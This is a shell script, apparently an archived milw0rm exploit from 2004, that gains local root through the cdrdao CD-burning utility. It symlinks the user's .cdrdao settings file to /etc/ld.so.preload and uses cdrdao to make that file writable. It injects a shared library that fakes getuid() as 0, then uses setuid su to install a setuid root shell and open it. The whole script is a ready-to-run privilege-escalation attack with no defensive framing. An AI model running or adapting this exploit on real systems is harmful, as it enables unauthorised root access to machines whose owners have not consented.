73 lines
No EOL
1.5 KiB
Bash
Executable file
73 lines
No EOL
1.5 KiB
Bash
Executable file
#!/bin/sh
|
|
DIR=`pwd`
|
|
echo ""
|
|
echo "cdrdao local root exploit - gr doesn't protect you this time"
|
|
echo "Karol Wiêsek <appelast*drumnbass.art.pl>"
|
|
echo ""
|
|
sleep 2
|
|
umask 000
|
|
echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "
|
|
if [ -f /etc/ld.so.preload ]; then
|
|
echo "WRONG"
|
|
echo "/etc/ld.so.preload exists, write another exploit ;P"
|
|
exit
|
|
else
|
|
echo "OK"
|
|
fi
|
|
echo -n "[*] Checking if su is setuid ... "
|
|
if [ -u /bin/su ];then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
exit
|
|
fi
|
|
echo -n "[*] Creating evil *uid() library ... "
|
|
cat > getuid_lib.c << _EOF
|
|
int getuid(void) {
|
|
return 0; }
|
|
_EOF
|
|
gcc -o getuid_lib.o -c getuid_lib.c
|
|
ld -shared -o getuid_lib.so getuid_lib.o
|
|
rm -f getuid_lib.c getuid_lib.o
|
|
if [ -f ./getuid_lib.so ]; then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
fi
|
|
echo -n "[*] Creating suidshell ... "
|
|
cat > suid.c << _EOF
|
|
int main(void) {
|
|
setgid(0); setuid(0);
|
|
unlink("./suid");
|
|
execl("/bin/sh","sh",0); }
|
|
_EOF
|
|
gcc -o suid suid.c
|
|
rm -f suid.c
|
|
if [ -x ./suid ];then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
exit
|
|
fi
|
|
echo -n "[*] Exploiting cdrdao ... "
|
|
ln -sf /etc/ld.so.preload $HOME/.cdrdao
|
|
if [ ! -L $HOME/.cdrdao ];then
|
|
echo "Could'n link to \$HOME/.cdrdao"
|
|
exit
|
|
fi
|
|
cdrdao unlock --save 2>/dev/null
|
|
>/etc/ld.so.preload
|
|
echo "$DIR/getuid_lib.so" > /etc/ld.so.preload
|
|
su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"
|
|
if [ -s ./suid ];then
|
|
echo "OK"
|
|
else
|
|
echo "WRONG"
|
|
exit
|
|
fi
|
|
rm -f getuid_lib.so
|
|
unlink $HOME/.cdrdao
|
|
echo "Entering rootshell ... ;]"
|
|
./suid
|
|
|
|
# milw0rm.com [2004-09-07] |